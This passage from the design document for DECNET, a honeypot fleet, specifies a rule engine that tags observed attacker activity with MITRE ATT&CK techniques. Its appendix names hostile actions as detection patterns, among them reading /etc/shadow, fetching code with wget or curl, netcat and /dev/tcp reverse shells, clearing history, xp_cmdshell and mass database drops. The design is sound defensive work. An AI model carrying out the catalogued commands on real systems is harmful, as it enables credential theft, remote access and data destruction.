becomes possible in principle. We run the GIL build today and
plan to keep doing so for v0/v1, so the property holds. If we
ever opt into a no-GIL build, the dispatch index needs an
explicit lock or a copy-on-write swap (e.g.
MappingProxyType(new_dict) reassigned to a single attribute).
This is a one-line change behind a feature flag, not a redesign —
documenting it here so a future contributor running on a no-GIL
interpreter doesn't think the design is broken.
No on-disk pickled cache. re.Pattern is not stable across
Python versions; bind-mounted/replicated caches drift; the
operational complexity exceeds the benefit at our rule counts.
The trigger condition for revisiting this is in Hard parts §10
(graduation triggers).
expires_at is opt-in, not default. A disabled state
without an explicit expiry persists until manually re-enabled.
TTL-by-default would be too magic — operators would re-enable
critical rules they didn't realise had auto-reverted. Explicit
expiry is the right call; the ttp.rule.state.{rule_id} event
fires on TTL expiry too, so dashboards reflect the auto-revert.
2. Behavioral lifters (v0.5)
Trivially derived from data already present. Per-Attacker tags use
the Attacker row as anchor; cross-IP signals use identity_rollup.
| Source signal | Scope | Tactic | Technique | Sub-technique | Confidence |
|---|---|---|---|---|---|
behavior_class=brute_force |
Attacker | TA0006 | T1110 | (none) | 0.95 |
behavior_class=scanning |
Attacker | TA0007 | T1046 | (none) | 0.90 |
behavior_class=scanning |
Attacker | TA0043 | T1595 | (none) | 0.90 |
behavior_class=beaconing |
Attacker | TA0011 | T1071 | (none) | 0.80 |
behavior_class=beaconing |
Attacker | TA0011 | T1029 | (none) | 0.75 |
tool_guesses contains hydra |
Attacker | TA0006 | T1110 | T1110.001 | 0.95 |
tool_guesses contains nmap |
Attacker | TA0007 | T1046 | (none) | 0.90 |
tool_guesses contains nmap |
Attacker | TA0043 | T1595 | (none) | 0.90 |
tool_guesses contains sqlmap |
Attacker | TA0001 | T1190 | (none) | 0.95 |
CredentialReuse row, ≥3 IPs same creds same identity |
Identity | TA0006 | T1110 | T1110.003 | 0.90 |
CredentialReuse row, ≥3 services same creds |
Identity | TA0006 | T1110 | T1110.004 | 0.85 |
| Identity has ≥3 distinct ASNs over <24h | Identity | TA0042 | T1583 | T1583.003 | 0.70 |
3. Intel lifter (v0.5 — opportunistic, never required)
Reads AttackerIntel rows produced by the decnet enrich worker
and emits high-precision tags from third-party verdicts. The
single hard rule: this engine MUST tolerate the absence of intel
data without errors, log noise, or affecting other lifters' output.
Inputs. One AttackerIntel row per attacker UUID, populated
by the enrich worker. Per-provider columns are nullable; the
lifter handles each provider independently — a partial verdict
(GreyNoise responded, AbuseIPDB didn't) still produces the
GreyNoise-derived tags.
Triggers.
attacker.enriched— primary; wakes the lifter for one attacker.attacker.session.ended— secondary; reads any already-populated intel row at session close, in case the session ended after the enrichment cache was warmed but before the worker received the bus signal.
Output anchoring. source_kind = "intel_verdict",
source_id = AttackerIntel.uuid. attacker_uuid set; never
identity-rollup (intel is per-IP).
Confidence formula. Final tag confidence =
rule_confidence × normalize(provider_score), where
normalize(...) projects the provider's native score range onto
[0.0, 1.0]. Per-provider normalization is pinned, not folklore:
- AbuseIPDB returns
abuseConfidenceScore∈[0, 100]; normalize asscore / 100.0. - GreyNoise returns a categorical
classificationin{benign, unknown, malicious}; normalize as{benign: 0.0, unknown: 0.5, malicious: 1.0}. - Feodo Tracker is binary listed/not-listed; normalize as
1.0if listed, else the lifter emits no tag. - ThreatFox returns a
confidence_level∈[0, 100]; normalize asscore / 100.0.
AbuseIPDB at abuseConfidenceScore=30 in category 18 produces a
0.85 × (30 / 100.0) = 0.255 tag — below the 0.3 floor, so
nothing is written. AbuseIPDB at abuseConfidenceScore=95 in the
same category writes 0.85 × 0.95 = 0.808. The normalized score
is what ends up in IntelEvidence.score (already in [0.0, 1.0])
— consumers never see the provider's native scale.
Boundary discipline. Per Hard parts §7: raw provider blobs
(greynoise_raw, abuseipdb_raw, feodo_raw, threatfox_raw)
stay in AttackerIntel. The tag's evidence column carries a
pointer ({"intel_uuid": "…", "provider": "abuseipdb", "category": 18, "score": 95}) and nothing more. The full provider
verdict is one join away for analysts who want it.
See Appendix A.10 for the per-provider mapping tables and Appendix B for the rule IDs.
4. Email lifter (v0.5)
The largest single signal source after shell commands. Both relay
and non-relay SMTP services capture full messages — every header,
the DATA body, and any attachments. The lifter consumes the
email.received bus signal, runs the message through a battery of
rules, and emits per-message tags.
Engine surface:
email_lifter.tag(message: SMTPMessage) -> list[TTPTag]
SMTPMessage projection includes:
mail_from,rcpt_to_list,auth_user(if AUTH was used)- All headers as a list (preserves duplicates and order — the
Received:chain matters) - Parsed
From:,Return-Path:,Reply-To:,Subject:,Date:,User-Agent:/X-Mailer:,DKIM-Signature:,Authentication-Results: - Body (plaintext + HTML parts)
- Attachments with hash, name, MIME type, decoded preview for Office formats
Output anchors: source_kind = "email" for whole-message tags,
"email_header" / "email_body" / "email_attachment" for
content-specific tags. source_id = the message UUID.
session_id = SMTP session, attacker_uuid = sending IP's
Attacker row.
See Appendix A.6 for the rule catalogue.
5. Sigma adapter (post-v1)
Curated subset of community Sigma rules, hand-reviewed, mapped to our event shapes. Most Sigma rules are Windows event-log specific and don't apply to a Linux honeypot fleet — the curated subset is realistically <100 rules. Worth doing, not first.
6. Biometric lifters (deferred — Appendix D)
When SessionProfile columns become populated by the keystroke
ingester (and any further biometric FKs land on AttackerIdentity),
the biometric lifter reads them via the session_id /
identity_uuid joins on ttp_tag. No ttp_tag schema change.
7. ML / LLM (deferred indefinitely)
Only when rules genuinely tie. Local classifier — never a hosted one against attacker shell logs or email contents. Out of scope until rules are proven insufficient.
UKC bridge
decnet/clustering/ukc.py gains tactic_to_ukc_phase():
ATTACK_TACTIC_TO_UKC: dict[str, UKCPhase] = {
"TA0043": UKCPhase.RECONNAISSANCE, # Reconnaissance
"TA0042": UKCPhase.RESOURCE_DEVELOPMENT, # Resource Development
"TA0001": UKCPhase.DELIVERY, # Initial Access
"TA0002": UKCPhase.EXECUTION, # Execution
"TA0003": UKCPhase.PERSISTENCE, # Persistence
"TA0004": UKCPhase.PRIVILEGE_ESCALATION, # Privilege Escalation
"TA0005": UKCPhase.DEFENSE_EVASION, # Defense Evasion
"TA0006": UKCPhase.CREDENTIAL_ACCESS, # Credential Access
"TA0007": UKCPhase.DISCOVERY, # Discovery
"TA0008": UKCPhase.LATERAL_MOVEMENT, # Lateral Movement
"TA0009": UKCPhase.COLLECTION, # Collection
"TA0011": UKCPhase.COMMAND_AND_CONTROL, # Command and Control
"TA0010": UKCPhase.EXFILTRATION, # Exfiltration
"TA0040": UKCPhase.IMPACT, # Impact
# ATT&CK for ICS — first-class projection so MQTT / Conpot /
# Modbus tags don't silently drop out of campaign rollups when
# `commands_by_phase_on_decky` projects through this map.
# ICS uses an independent tactic-ID range; we cover only the
# tactics referenced by Appendix A.7 (Conpot, MQTT). Adding
# other ICS tactics is a one-line addition + one A.7 row.
"TA0100": UKCPhase.COLLECTION, # ICS: Collection
"TA0102": UKCPhase.DISCOVERY, # ICS: Discovery
"TA0105": UKCPhase.IMPACT, # ICS: Impact
"TA0106": UKCPhase.IMPACT, # ICS: Impair Process Control
}
OBSERVABLE_PHASES (defined in decnet/clustering/ukc.py) is the
subset of UKCPhase values we can plausibly observe on a honeypot
fleet. The pre-target phases (RECONNAISSANCE,
RESOURCE_DEVELOPMENT, WEAPONIZATION, SOCIAL_ENGINEERING) are
deliberately excluded — TTP tags must never assign them, and the
inverse ukc_phase_to_tactic() is documented-lossy on those
phases. The CDD test in E.2.9 pins this asymmetry.
The campaign clusterer's IdentityFeatures.commands_by_phase_on_decky
adapter is rewritten to read from ttp_tag joined to
attacker_command, project tactic to UKC, and group. The
synthetic-fixture path is unchanged — fixtures keep emitting UKC
directly; the production path finally produces the same shape.
Confidence model
Every rule declares a base confidence. The worker can adjust it downward (never upward) based on:
- Honeypot context. A command typed against a low-realism
decky carries less weight than one typed against a high-realism
one. Multiplier from decky
realism_scoreif/when that field exists; otherwise 1.0. - Repetition. A scan signature observed once is
0.7 × base; observed across ≥3 deckies is1.0 × base. - Session length. Aggregate rules with
min_attemptsalready encode this; per-event rules don't adjust. - Identity coherence. Tags written via identity-rollup lifters carry inherent confidence floors because they only fire when cross-Observation evidence is consistent.
The dashboard exposes a confidence floor knob (default 0.6) so analysts can hide low-confidence noise without touching rules.
confidence < 0.3 is dropped at write time.
API surface
GET /api/v1/ttp/techniques — distinct techniques observed,
with counts and last-seen ts
GET /api/v1/ttp/by-identity/{identity_uuid} — PRIMARY: Identity-scoped heatmap
GET /api/v1/ttp/by-attacker/{attacker_uuid} — per-IP slice
GET /api/v1/ttp/by-campaign/{campaign_uuid} — campaign-wide rollup
GET /api/v1/ttp/by-session/{session_id} — session timeline of tags
GET /api/v1/ttp/rules — rule catalogue
POST /api/v1/ttp/rules/{rule_id}/state — admin only; sets RuleState
(disable / clip / TTL)
DELETE /api/v1/ttp/rules/{rule_id}/state — admin only; reverts to
default enabled state
GET /api/v1/ttp/export/navigator — MITRE ATT&CK Navigator JSON
layer for the current fleet
GET /api/v1/ttp/export/navigator/identity/{uuid}
— Navigator layer for one
Identity (the demo)
Authorization. GET endpoints require a valid JWT
(per the project's auth-gated convention; 401 without). The state
mutation endpoints (POST / DELETE on
/rules/{rule_id}/state) require admin role, enforced
server-side per the project's "no client-side role checks" rule.
A non-admin JWT receives 403 on the mutation endpoints; an absent
JWT receives 401. The CDD plan E.2.8 covers this with explicit
parametrized assertions.
navigator exports are the SOC-facing payoff. A SOC analyst pastes
the JSON into the official Navigator and sees coverage immediately.
UI surface
Empty state — day one. A fresh deployment has zero tags. The
IdentityDetail "TTPs Observed" section renders an explicit
empty state: a one-line "No techniques observed yet." There is
no spinner, no "loading", no fallback to a placeholder list. The
Navigator export endpoint returns a valid-but-empty Navigator
JSON layer so a SOC analyst pasting it into the official
Navigator sees the file load with no highlighted techniques —
correct, not broken.
The first tag appears on first attacker contact after the rule_engine completes one evaluation (typically <100ms after session start for any matched primitive). intel_lifter contributes its first tags only after the enrich worker completes one provider pass for that attacker (seconds to minutes, depending on provider rate limits). identity-rollup tags appear only after enough cross-IP data accumulates for the clusterer / credential-reuse worker to fire — minutes to days depending on traffic. None of this is documented in the UI; it is the natural unfolding of "telemetry produces data, lifters turn it into tags."
Primary: IdentityDetail (whatever surface the Identity page
becomes — see IDENTITY_RESOLUTION.md) gains a TTPs Observed
section as the headline behavioral readout for an Identity:
- Tactic → technique tree, with counts and confidence-weighted bars
- Click-through to evidence (the original command / log line / email / payload)
- "Export as Navigator layer" button, scoped to this Identity
Secondary: AttackerDetail (stays a full page per project
convention) gains a TTPs section showing the per-IP slice — useful
when an Identity has many member Attackers and the analyst is
isolating one IP's contribution.
/campaigns/{id} aggregates TTPs across member Identities.
The fleet-level Navigator export goes on the Stats / Overview page.
Observability: tracing and metrics
Project-wide lesson: good tracing pays back hard over time.
Routers already use @_traced("…") decorators; OTEL collector is
wired (development/docker-compose.otel.yml). The TTP worker
emits spans across the entire pipeline, not just the worker
loop. Every transition from human edit to attacker telemetry to
written tag is traceable end-to-end.
Span hierarchy (top-down):
ttp.rule.ingest (operator action)
├─ ttp.rule.parse (YAML → CompiledRule)
├─ ttp.rule.validate (Pydantic schema check)
└─ ttp.rule.publish (filesystem→store, store→bus)
ttp.rule.state.change (set_state API call)
├─ api.rules.set_state (existing router @_traced)
├─ ttp.store.write_state (DB insert / in-mem dict)
└─ ttp.rule.publish (state-change bus event)
ttp.eval (one source event tagged)
├─ ttp.eval.dispatch (resolve applicable rules)
├─ ttp.lifter.{name} (one span per lifter that ran)
│ └─ ttp.rule.fire (one span per rule that matched,
│ with rule_id + technique_id
│ attributes)
├─ ttp.tag.write (DB insert)
└─ ttp.bus.publish (ttp.tagged emission)
ttp.api.{endpoint} (existing router @_traced
pattern; adds tag-count
attribute on responses)
Metrics (counters / histograms):
ttp.rule.compiled— counter,{rule_id, store_backend}.ttp.rule.state.changed— counter,{rule_id, new_state}.ttp.eval.events— counter,{source_kind, lifter}.ttp.eval.latency_ms— histogram,{source_kind, lifter}.ttp.rule.fire— counter,{rule_id, technique_id, confidence_band}.ttp.tag.written— counter,{technique_id, sub_technique_id}.ttp.tag.dropped— counter,{reason}where reason ∈ {"below_floor", "rate_limited", "rule_disabled"}.ttp.bus.published— counter,{topic}.
Every span carries attacker_uuid (when available) and
identity_uuid as attributes so a SOC analyst tracing one
identity's session can pull the entire tag-production timeline
from the trace store.
No PII in attributes. Per the email PII discipline (Hard parts §6) and the enrichment-vs-tag boundary (Hard parts §7): span attributes carry pointers (UUIDs, hashes, technique IDs, rule IDs) — never raw command content, email bodies, payload bytes, or fingerprint blobs. The trace store is not the right home for sensitive content.
Bus delivery requirements
The DECNET bus is abstract — decnet/bus/{base.py, factory.py, …} defines the contract; the current production impl is UNIX
sockets (unix_client.py, unix_server.py). Other impls
(network bus, in-memory test fake) plug in via the factory.
Delivery semantics are per-impl, not pinned globally.
The TTP design declares per-event durability requirements; the bus impl satisfies them. If an impl can't (e.g., the in-memory fake), tests must catch that mismatch.
Required delivery semantics per topic family:
| Topic | Required | Catch-up if dropped |
|---|---|---|
attacker.session.ended |
at-least-once | none — must not drop |
attacker.enriched |
best-effort | session.ended re-reads intel row |
email.received |
at-least-once | none — must not drop |
credential.reuse.detected |
best-effort | session.ended catch-up |
canary.{token_id}.triggered |
at-least-once | none — must not drop |
identity.formed / identity.merged |
best-effort | next session.ended re-evaluates |
ttp.tagged |
best-effort | downstream consumers tail DB |
ttp.rule.reloaded.{rule_id} |
at-least-once | store re-reconciles on restart |
ttp.rule.state.{rule_id} |
at-least-once | store re-reconciles on restart |
Two topic families MUST NOT silently drop: source-event triggers
that have no catch-up path (session.ended, email.received,
canary.triggered) and rule-state changes (otherwise a worker
in a swarm could miss a "disable rule" command and continue
firing). The current UNIX-socket impl is a single-writer single-
reader pipe over the same host — drops would indicate a kernel-
level failure rather than a routing one, so it satisfies these
requirements transitively. Future network-bus impls (e.g., NATS
JetStream) need explicit configuration to satisfy "at-least-once"
where required.
Performance targets
Pinned for v0; bounds future optimisation discussions.
| Metric | Target |
|---|---|
| Per-event evaluation latency (p95) | < 50 ms |
| Per-event evaluation latency (p99) | < 200 ms |
| Source-event ingest sustainable (per worker) | ≥ 500 events / s |
| Tag-write throughput sustainable | ≥ 200 tags / s |
| Store load on worker startup (rule pack v0) | < 2 s |
| Hot-reload latency (file save → swap) | < 500 ms |
set_state() end-to-end |
< 100 ms |
API: /by-identity/{uuid} p95 |
< 100 ms |
The two throughput rows are pinned independently so neither hides behind the other. The relationship between them is event-rate-dependent — at the rule pack v0 average of ~3 tags per matched event, the 200 tags/s tag-write target translates to ~67 matched-events/s, well below the 500 events/s ingest target because most ingest events match zero rules. A busy fleet under a brute-force storm with high match density (5+ tags/event) crosses the 200 tags/s line before it crosses the 500 events/s line; in that regime the bottleneck is tag-write, not eval. Either bound hitting first is a profile-and-fix signal — not a signal to raise the other target to compensate.
These match the project's API-level "100 RPS, zero degradation" target (project memory: API improvements). Per-worker numbers; a multi-worker swarm scales horizontally.
If implementation hits any of these ceilings, the discussion is "profile and fix", not "raise the target". The targets are a contract.
Hard parts
1. Confidence calibration
A user typing id is technically T1033 (System Owner Discovery).
Without confidence + an evidence pointer, the dashboard floods with
low-signal noise that drowns the actual brute-force storms.
Mitigation: per-rule confidence is mandatory in YAML; rules below 0.6 are hidden by default; aggregate rules are preferred over per-command rules for ambiguous primitives.
2. Multi-protocol session rollup
T1078 (Valid Accounts) only matters in conjunction with
subsequent activity. SSH login alone is noise; SSH login followed
by SMB share enumeration is signal. Per-event tagging cannot
capture this; we need session-end aggregate rules that look at the
full event timeline.
Mitigation: rules with phase: session_end run once per closed
session, with the full event list visible. Initial pack should
include 3–5 such rules to prove the shape.
3. Sigma rules don't transfer cleanly
The community Sigma ruleset assumes Windows event logs (Sysmon, Security 4624 etc.). DECNET observes shell, HTTP, SMB on Linux. A bulk import would yield mostly inapplicable rules. Hand-curate.
4. Reconnaissance: pre-target vs active
UKC reconnaissance and ATT&CK TA0043 mean different things.
ATT&CK Reconnaissance includes active scans against our deckies —
we can absolutely observe those. UKC reconnaissance is pre-target
OSINT which we cannot. Don't conflate.
5. Sub-technique granularity needs cross-event context
T1110 has four sub-techniques:
.001Password Guessing — repeated tries, same account, varying password. Per-session detectable..002Password Cracking — offline; not observable here..003Password Spraying — same password, many accounts. Needs cross-account view → identity-rollup lifter..004Credential Stuffing — known-good creds replayed. NeedsCredentialReusejoin → identity-rollup lifter.
Per-command rules top out at T1110 (no sub); cross-IP lifters
add the sub-technique with source_kind = "identity_rollup".
6. Email PII discipline
SMTP messages contain real PII — recipient addresses, body
contents, subject lines, attachment file names. Tagging rules must
never write that content into ttp_tag.evidence verbatim. The
evidence column carries:
- Hashes (e.g. SHA-256 of the body) — referenceable, not readable.
- Header names and patterns matched, not full header values.
- Attachment hashes and MIME types, not file contents.
- Recipient count and domain set, not individual addresses.
The original message stays in the SMTP service's storage tier
behind RBAC. The TTP layer points at it via source_id for
analysts who have the role to read it. Tags themselves are
PII-light by construction so dashboards / SIEM exports don't leak.
7. Enrichment vs tag boundary
Several signal sources — bulk SMTP messages, the canary
fingerprint payload, raw sniffer fingerprints — produce far more
data than belongs in ttp_tag. The boundary:
- Enrichment (NOT in
ttp_tag): the full structured payload. Bulk fingerprint blob (canvas hash, font list, WebGL details, perf jitter samples, full SMTP headers, raw payload bytes) lives in its source-of-truth table —Attacker.fingerprints,AttackerBehavior, the SMTP store, the canary worker's fingerprint store. These are joined by analysts when they want the raw artefact. - Tag (in
ttp_tag): only specific behavioral derivations. "webdriver === true" produces a T1059 tag; the full navigator blob does not. "From/Return-Path mismatch" produces a T1036 tag; the full header set does not.
Why this matters: dumping fingerprint blobs into
ttp_tag.evidence would balloon row size, leak per-attacker unique
identifiers through technique queries (a WHERE technique_id = 'T1059' query shouldn't return canvas hashes), and turn the
ATT&CK heatmap into an attacker-uniqueness leak. The evidence
column carries a pointer to the source row plus the minimum
payload needed to verify the rule fired — never the raw artefact.
8. ATT&CK matrix drift
MITRE renames techniques between ATT&CK releases. T1086 became T1059.001. T1100 became T1505.003. Sub-techniques split off main techniques. Old tags can reference IDs that no longer exist when exported against a current Navigator, and the analyst sees broken links.
Mitigation: the matrix release is pinned per row via
ttp_tag.attack_release (e.g. "enterprise-v15.1",
"ics-v15.1"). Each rule pack also stamps the release it was
authored against; the worker writes the pack's release into every
tag the rule emits. Concretely:
- The rule YAML schema has a top-of-file
attack_release:key. The Pydantic validator rejects rules without it. - A rule pack version bump that adopts a new ATT&CK release is a
rule_versionbump on every affected rule, not a silent rewrite. Old tags retain their oldattack_release; new tags carry the new one. The two cohorts coexist by design. - The Navigator export endpoint groups tags by
attack_releaseand emits one Navigator layer per release. Mixing releases in a single layer would silently misalign techniques. - Startup-time consistency check — FAIL LOUD. At worker boot,
the rule pack is parsed and the union of
attack_releasevalues is computed. If that set is not a singleton, OR if the singleton value does not equal the worker-bundleddecnet/ttp/_attack_matrix.py:BUNDLED_ATTACK_RELEASEconstant, the worker raisesAttackReleaseMismatchErrorfrom the bus-loop bootstrap and refuses to start. Not a warning. Not a log line. A startup error that an operator must resolve before any tag is written. A warning would let pre-v1 → v1 silently drift on the next matrix release; a hard failure forces the conscious decision. Tested in E.2.5 with two rules carrying differentattack_releasevalues — assert worker boot raises and emits zerottp.taggedevents.
Quarterly DEBT.md review covers both this and intel-provider drift below.
9. Intel provider drift
AbuseIPDB occasionally adds new abuse categories. GreyNoise revises its classification taxonomy. ThreatFox extends IOC types. The intel_lifter's mapping tables (Appendix A.10) are static catalogues; they will fall behind reality.
Mitigation:
- Each provider mapping is a versioned rule (
R0054–R0057). When a provider adds a category, bumprule_version, update the mapping, ship a new rule pack. Old tags keep their oldrule_versionso historical evidence survives. - Unknown categories produce no tag, not a fallback. A new AbuseIPDB category nobody has mapped yet is silently ignored rather than tagged as some "generic abuse" technique. False silence is recoverable; false labels poison the SOC.
- Quarterly review. Add a note to DEBT.md to re-walk each provider's category catalogue every quarter post-v1, until the mapping tables stabilise.
10. When to graduate from filesystem store to database store
FilesystemRuleStore is the default and right for single-host
deployments. There are three graduation triggers; any one of them
flips the operator to DatabaseRuleStore:
- Multi-host swarm. Rules need to flow operator → master → all workers without redeploys. The filesystem path requires rsync-on-deploy for every rule edit; the DB path makes it a single write that all workers tail. Day-one switch for any swarm deployment.
- State must survive restart. The filesystem store holds
RuleStatein-process. A worker crash loses every disable / clip / TTL state. Acceptable for dev, unacceptable for production where a misbehaving rule has been disabled and must stay disabled across restarts. - Operator-driven rule edits via UI/API. When operators edit
rules through the dashboard rather than git commits to
./rules/ttp/, the source of truth shifts to the DB. The filesystem becomes a snapshot/export target rather than the primary.
What we explicitly DO NOT graduate to: an on-disk pickled
compiled-rule cache. re.Pattern is not stable across CPython
versions; bind-mounted caches drift; the cache becomes another
deploy artefact with its own invalidation bug class. The
graduation path is filesystem → DB, never filesystem →
disk-pickle. This is a one-line lock on a future contributor's
"obvious optimisation".
The trigger for revisiting any of this is rule count exceeding
~1000 with the DB store still showing measurable startup latency.
At that point the conversation is "compile cache invalidated by
(rule_id, rule_version) tuple, NOT pickle" — the cache stores
re-compilable source plus pre-validated structure, never
serialized regex objects.
11. False-positive blast radius on webhooks
Webhook fanout triggers on ttp.tagged. A buggy rule that fires
on every SSH ls would flood the SIEM. Mitigation:
- Per-rule rate limit (writes per attacker per minute) clipped at the worker.
ttp.rule.suppressedtopic so suppression is observable.- Rule rollback path: bump
rule_version; old tags filterable. - The Loop-prevention invariant (canonical statement in "Bus
topics" above) keeps an enrichment subscriber from
self-amplifying through
ttp.taggedre-emission. Without it, webhook rate limits would be the only thing preventing an infinite fanout — and rate limits are mitigation, not a correctness guarantee.
Open questions
- Backfill strategy. Tagging forward is simple; tagging the past 90 days of attacker_command rows is a separate worker mode. Out of scope here, tracked under DEBT.
- Rule pack distribution. Ship in-tree at v1. Post-v1, consider a signed-bundle channel.
- Federation. Cross-org sharing of rule packs and aggregate TTP heatmaps. Defer to federation work.
Appendix A — Telemetry inventory per service
Per-service catalogue of observable events and their first-pass ATT&CK mappings. One row per (event, technique) pair — events implicating multiple techniques appear as multiple rows.
Confidence bands: H = ≥0.85, M = 0.6–0.85, L = <0.6 (informational only; not shipped in v0).
A.1 Remote access
SSH (real OpenSSH, high interaction)
| Event | Tactic | Technique | Sub-technique | Conf |
|---|---|---|---|---|
| Auth attempt failed | TA0006 | T1110 | (none) | M |
| ≥5 fails / 5 min, varying password | TA0006 | T1110 | T1110.001 | H |
| Same password ≥3 accounts | TA0006 | T1110 | T1110.003 | H |
| Successful auth on weak cred | TA0001 | T1078 | (none) | M |
cat /etc/passwd |
TA0007 | T1083 | (none) | M |
cat /etc/shadow |
TA0006 | T1003 | T1003.008 | H |
wget http* |
TA0011 | T1105 | (none) | H |
curl http* |
TA0011 | T1105 | (none) | H |
chmod +x |
TA0005 | T1222 | T1222.002 | M |
chmod +x then exec |
TA0002 | T1059 | T1059.004 | H |
crontab -e write |
TA0003 | T1053 | T1053.003 | H |
/etc/cron* write |
TA0003 | T1053 | T1053.003 | H |
useradd |
TA0003 | T1136 | T1136.001 | H |
Direct write to /etc/passwd |
TA0003 | T1136 | T1136.001 | H |
history -c |
TA0005 | T1070 | T1070.003 | H |
unset HISTFILE |
TA0005 | T1070 | T1070.003 | H |
sudo -l |
TA0007 | T1033 | (none) | M |
sudo su |
TA0004 | T1548 | T1548.003 | M |
uname -a |
TA0007 | T1082 | (none) | L |
lsb_release |
TA0007 | T1082 | (none) | L |
id |
TA0007 | T1033 | (none) | L |
whoami |
TA0007 | T1033 | (none) | L |
netstat -an |
TA0007 | T1049 | (none) | M |
ss -tnp |
TA0007 | T1049 | (none) | M |
ip addr / ifconfig |
TA0007 | T1016 | (none) | M |
arp -a |
TA0007 | T1016 | (none) | M |
find / -perm -u=s (recursive) |
TA0007 | T1083 | (none) | M |
find / -perm -u=s (SUID predicate) |
TA0004 | T1548 | T1548.001 | H |
nc -e reverse shell |
TA0002 | T1059 | T1059.004 | H |
nc -e reverse shell |
TA0011 | T1071 | (none) | H |
Bash /dev/tcp/ reverse shell |
TA0002 | T1059 | T1059.004 | H |
Bash /dev/tcp/ reverse shell |
TA0011 | T1071 | (none) | H |
| HASSH match → known C2 framework | TA0011 | T1071 | T1071.001 | H |
| Keystroke fingerprint = automated | TA0002 | T1059 | (none) | M |
Telnet (busybox telnetd)
Inherits the SSH shell-command catalogue. Adds:
| Event | Tactic | Technique | Sub-technique | Conf |
|---|---|---|---|---|
| Mirai-style connect+exec sequence | TA0001 | T1190 | (none) | H |
| Mirai-style connect+exec sequence | TA0011 | T1105 | (none) | H |
| Default IoT creds (root/root) | TA0006 | T1078 | T1078.001 | H |
| Default IoT creds (admin/admin) | TA0006 | T1078 | T1078.001 | H |
RDP
| Event | Tactic | Technique | Sub-technique | Conf |
|---|---|---|---|---|
| NLA auth attempt | TA0006 | T1110 | (none) | M |
| ≥5 fails / 5 min | TA0006 | T1110 | T1110.001 | H |
| Successful auth | TA0001 | T1078 | (none) | H |
| Successful auth | TA0008 | T1021 | T1021.001 | H |
| Screen-capture observed (probe) | TA0009 | T1113 | (none) | M |
VNC
| Event | Tactic | Technique | Sub-technique | Conf |
|---|---|---|---|---|
| RFB handshake from known scanner UA | TA0043 | T1595 | T1595.001 | H |
| Auth attempt | TA0006 | T1110 | (none) | M |
| Successful auth | TA0008 | T1021 | T1021.005 | H |
A.2 Databases
MySQL / Postgres / MSSQL
| Event | Tactic | Technique | Sub-technique | Conf |
|---|---|---|---|---|
| Auth attempt fail / brute | TA0006 | T1110 | (none) | H |
SELECT ... FROM mysql.user |
TA0006 | T1003 | (none) | H |
MSSQL xp_cmdshell |
TA0002 | T1059 | (none) | H |
MSSQL xp_cmdshell |
TA0001 | T1190 | (none) | H |
LOAD DATA INFILE (MySQL) |
TA0009 | T1213 | (none) | H |
COPY FROM (Postgres) |
TA0009 | T1213 | (none) | H |
INTO OUTFILE (MySQL) |
TA0010 | T1567 | (none) | H |
COPY TO (Postgres) |
TA0010 | T1567 | (none) | H |
pg_read_server_files |
TA0007 | T1083 | (none) | H |
pg_ls_dir |
TA0007 | T1083 | (none) | H |
DROP DATABASE mass |
TA0040 | T1485 | (none) | H |
TRUNCATE mass |
TA0040 | T1485 | (none) | H |
MongoDB
| Event | Tactic | Technique | Sub-technique | Conf |
|---|---|---|---|---|
Unauth listDatabases |
TA0007 | T1082 | (none) | H |
db.dropDatabase() mass |
TA0040 | T1485 | (none) | H |
| Ransom note insert pattern | TA0040 | T1486 | (none) | H |
Redis
| Event | Tactic | Technique | Sub-technique | Conf |
|---|---|---|---|---|
CONFIG SET dir + SET SSH-key trick |
TA0003 | T1098 | T1098.004 | H |
MODULE LOAD |
TA0002 | T1059 | (none) | H |
FLUSHALL |
TA0040 | T1485 | (none) | H |
Unauth INFO from scanner |
TA0043 | T1595 | T1595.002 | M |
Elasticsearch
| Event | Tactic | Technique | Sub-technique | Conf |
|---|---|---|---|---|
_cluster/health from scanner UA |
TA0043 | T1595 | T1595.002 | M |
DELETE /_all |
TA0040 | T1485 | (none) | H |
Mass GET /<index>/_search |
TA0009 | T1213 | (none) | H |
A.3 Web & APIs
HTTP (templated apps)
| Event | Tactic | Technique | Sub-technique | Conf |
|---|---|---|---|---|
| User-Agent matches sqlmap/nikto/etc | TA0043 | T1595 | T1595.002 | H |
/wp-login.php brute |
TA0006 | T1110 | (none) | H |
/.env request |
TA0007 | T1083 | (none) | H |
/.env request |
TA0006 | T1552 | T1552.001 | H |
/.git/config request |
TA0007 | T1083 | (none) | H |
/.git/config request |
TA0006 | T1552 | T1552.001 | H |
Path traversal (../) |
TA0001 | T1190 | (none) | H |
.php POST (shell upload) |
TA0001 | T1190 | (none) | H |
.php POST (shell upload) |
TA0003 | T1505 | T1505.003 | H |
.jsp POST (shell upload) |
TA0001 | T1190 | (none) | H |
.jsp POST (shell upload) |
TA0003 | T1505 | T1505.003 | H |
| Log4j JNDI in headers | TA0001 | T1190 | (none) | H |
| Webshell access pattern | TA0011 | T1059 | (none) | H |
Docker API
| Event | Tactic | Technique | Sub-technique | Conf |
|---|---|---|---|---|
GET /version from scanner |
TA0043 | T1595 | T1595.002 | M |
POST /containers/create w/ priv |
TA0004 | T1611 | (none) | H |
Bind mount of / |
TA0004 | T1611 | (none) | H |
Kubernetes
| Event | Tactic | Technique | Sub-technique | Conf |
|---|---|---|---|---|
/api/v1/namespaces/.../secrets |
TA0006 | T1552 | T1552.007 | H |
kubectl exec mock |
TA0002 | T1610 | (none) | H |
serviceaccount token harvest |
TA0006 | T1528 | (none) | H |
LLMNR
| Event | Tactic | Technique | Sub-technique | Conf |
|---|---|---|---|---|
| Responder-style query/response | TA0009 | T1557 | T1557.001 | H |
A.4 File transfer & storage
SMB
| Event | Tactic | Technique | Sub-technique | Conf |
|---|---|---|---|---|
| Null session enumeration | TA0007 | T1135 | (none) | H |
| Share listing | TA0007 | T1135 | (none) | H |
| File read | TA0009 | T1039 | (none) | H |
| File write (foothold) | TA0008 | T1021 | T1021.002 | H |
| Pass-the-hash signature | TA0006 | T1550 | T1550.002 | H |
FTP
| Event | Tactic | Technique | Sub-technique | Conf |
|---|---|---|---|---|
| Anonymous login attempt | TA0006 | T1078 | T1078.001 | M |
| Brute attempt | TA0006 | T1110 | (none) | H |
STOR of executable |
TA0011 | T1105 | (none) | H |
Mass RETR |
TA0009 | T1039 | (none) | M |
TFTP
| Event | Tactic | Technique | Sub-technique | Conf |
|---|---|---|---|---|
RRQ of router config (*-confg) |
TA0009 | T1602 | T1602.002 | H |
WRQ upload |
TA0011 | T1105 | (none) | H |
A.5 Directory & non-mail (LDAP)
LDAP
| Event | Tactic | Technique | Sub-technique | Conf |
|---|---|---|---|---|
